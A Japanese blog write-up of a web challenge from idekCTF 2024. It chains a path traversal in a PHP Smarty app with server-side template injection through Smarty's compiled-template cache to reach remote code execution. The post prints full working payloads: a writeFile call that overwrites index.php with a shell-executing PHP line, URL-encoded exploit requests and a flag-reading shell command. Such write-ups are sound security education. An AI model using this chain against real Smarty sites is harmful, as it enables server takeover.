はまやんはまやんはまやん

hamayanhamayan's blog

idekCTF 2024 Writeup

https://ctftime.org/event/2304

web/untitled-smarty-challenge

ソースコード有り。PHPで書かれたサイトが与えられる。index.phpは非常に簡潔。

<?php

require 'vendor/autoload.php';
use Smarty\Smarty;
$smarty = new Smarty();

if (isset($_GET['page']) && gettype($_GET['page']) === 'string') {
    $file_path = "file://" . getcwd() . "/pages/" . $_GET['page'];
    $smarty->display($file_path);
} else {
    header('Location: /?page=home');
};
?>

composerでSmartyを入れてテンプレートを読み込んでいる。クエリストリング経由でpageを指定して開くことができるが、単純なパストラバーサルがある。なので、方針としては、何等かのファイルを読み込ませて、SmartyでSSTIしてRCEに繋げていく。

どのファイルをパストラバーサルで持って来るか

問題はどのファイルを読み込むかという点であるが、配布ソースコードに含まれているファイルに面白そうなファイルは無い。かつ、openbdir.iniというファイルでopen_basedir = "/app"のように/app以下のファイルしか読み込めなくなっている。ということで当初は、composerで読み込まれた/app/vendor以下のファイルを漁っていた。

漁っている途中に/app/templates_cというフォルダができており、それ以下にSmartyのキャッシュが保存されていることに気が付いた。中を見るとパスが含まれていた。パスにSSTIのペイロードを埋め込めないだろうか?

Dockerで環境を起動して試してみよう。/?page=homeのように読み込まれるので、ここでSmartyのSSTIペイロードである{4*4}をパスに入れ込んでみよう。/?page={4*4}/../homeとしてみる。{4*4}はフォルダ名として認識されるので../で戻してhomeの画面が出てくる。ここでDocker Desktopからターミナルを起動して見てみると/app/templates_c/42c32515df92fd94929071a7670634914065a86a_0.file_home.phpというキャッシュファイルができていた。中身は以下のような感じ。

/app/templates_c # cat 42c32515df92fd94929071a7670634914065a86a_0.file_home.php
<?php
/* Smarty version 5.4.0, created on 2024-08-18 14:51:04
  from 'file:///app/pages/{4*4}/../home' */

/* @var \Smarty\Template $_smarty_tpl */
if ($_smarty_tpl->getCompiled()->isFresh($_smarty_tpl, array (
  'version' => '5.4.0',
  'unifunc' => 'content_66c20a58edd239_18775078',
  'has_nocache_code' => false,
  'file_dependency' => 
  array (
    '42c32515df92fd94929071a7670634914065a86a' => 
    array (
      0 => '///app/pages/{4*4}/../home',
      1 => 1723762455,
      2 => 'file',
    ),
  ),
…

良い感じに{4*4}がパス経由で埋め込めている。これで/?page=../templates_c/42c32515df92fd94929071a7670634914065a86a_0.file_home.phpを読み込むと出力に///app/pages/16/../homeというのが含まれて、ちゃんと動いていることが分かる。パス経由でSSTIができることが分かった。試しに本番環境でも同様のパスを指定して、同じキャッシュファイルを指定してみると動いた。hex値が付いているが同じパスを指定していれば同じキャッシュファイル名になるようだ。これで、手元でファイル名を取得できれば、本番環境でも流用でき、動かすことができることが分かった。

RCEするためのSSTIペイロードを用意する

後は、RCEコードを用意する。フラグはDockerfile上でRUN mv /flag.txt /flag-$(head -c 6 /dev/urandom | xxd -p).txtのように作られている。色々なサイトでSmartyでSSTIしてRCEするpayloadを探してきて試すが刺さらない。自分で用意する必要がありそうだ。かつ、パスに指定する関係などで、.(dot), *, '(と忘れたけれど他にも少し)など使えない文字があるので、その辺も頑張って回避する。

Smartyソースコードを読みながら色々探すと、writeFileが使えるパスを発見した。

{$smarty.template_object->getSmarty()->writeFile("index.php","<?php echo `id` ?>")}

これでindex.phpを上書きすることでRCEに繋げることができる。このままだと.が使えないのでどうにかする必要がある。まず、$smarty.template_objectの部分は[](ブラケット)を使って回避可能。

{$smarty["template_object"]->getSmarty()->writeFile("index.php","<?php echo `id` ?>")}

index.phpの部分はsmartyのバージョンに含まれているドットを持ってきて、変数をうまく使いながら用意する。

{assign var=dot value=$smarty["version"]|substr:1:1}
{assign var=index value="index"|cat:$dot|cat:"php"}

$smarty["version"]5.4.0なので、その2文字目(0-indexedだと1文字目)を持ってくることで変数$dotを1行目で用意し、2行目で文字列結合をして$indexにindex.phpを用意した。これを使えばいいので最終的には以下のようなpayloadを用意した。

{assign var=dot value=$smarty["version"]|substr:1:1}{assign var=index value="index"|cat:$dot|cat:"php"}{$smarty["template_object"]->getSmarty()->writeFile($index,"<?php echo `id` ?>")}

試してみよう

さっきのpayloadを試してみる。さっきと同様に入れてみよう。

/?page={assign%20var=dot%20value=$smarty[%22version%22]|substr:1:1}{assign%20var=index%20value=%22index%22|cat:$dot|cat:%22php%22}{$smarty[%22template_object%22]-%3EgetSmarty()-%3EwriteFile($index,%22%3C?php%20echo%20`id`%20?%3E%22)}/../home

このような感じ。5477bb16a2b28dc47d7ecc9c2938b3b0e2722888_0.file_home.phpというファイルが出来た。なので、以下のように呼んでSSTIを発動させる。

/?page=../templates_c/5477bb16a2b28dc47d7ecc9c2938b3b0e2722888_0.file_home.php

これでindex.phpが書き換えられたので、/を開いてみるとidコマンドが動いていることが確認できる。ok。

フラグを取る

フラグを取るコマンドにも*が使えない同様の制約が係るので全部回避できるようなものを探すとcat /$(ls / | grep flag)で取れた。つまり最終的なpayloadは以下。

{assign var=dot value=$smarty["version"]|substr:1:1}{assign var=index value="index"|cat:$dot|cat:"php"}{$smarty["template_object"]->getSmarty()->writeFile($index,"<?php echo `cat /$(ls / | grep flag)` ?>")}

これ以降はidコマンドを試したときとほぼ同等であるが、URLに入れ込むと以下のようなURLになる。

/?page={assign%20var=dot%20value=$smarty[%22version%22]|substr:1:1}{assign%20var=index%20value=%22index%22|cat:$dot|cat:%22php%22}{$smarty[%22template_object%22]-%3EgetSmarty()-%3EwriteFile($index,%22%3C?php%20echo%20`cat%20/$(ls%20/%20|%20grep%20flag)`%20?%3E%22)}/../../../home

何が違うかというとhome前の../の数で2つ増えている。これはpayloadに2つ/が含まれているのでパス的には2つディレクトリが増えているため帳尻を合わせているだけである。これで2de3309f348782e8f310688cb35a3e03db1bfc61_0.file_home.phpが出来るので、/?page=../templates_c/2de3309f348782e8f310688cb35a3e03db1bfc61_0.file_home.phpを踏んでから/を開くとフラグが出てくる。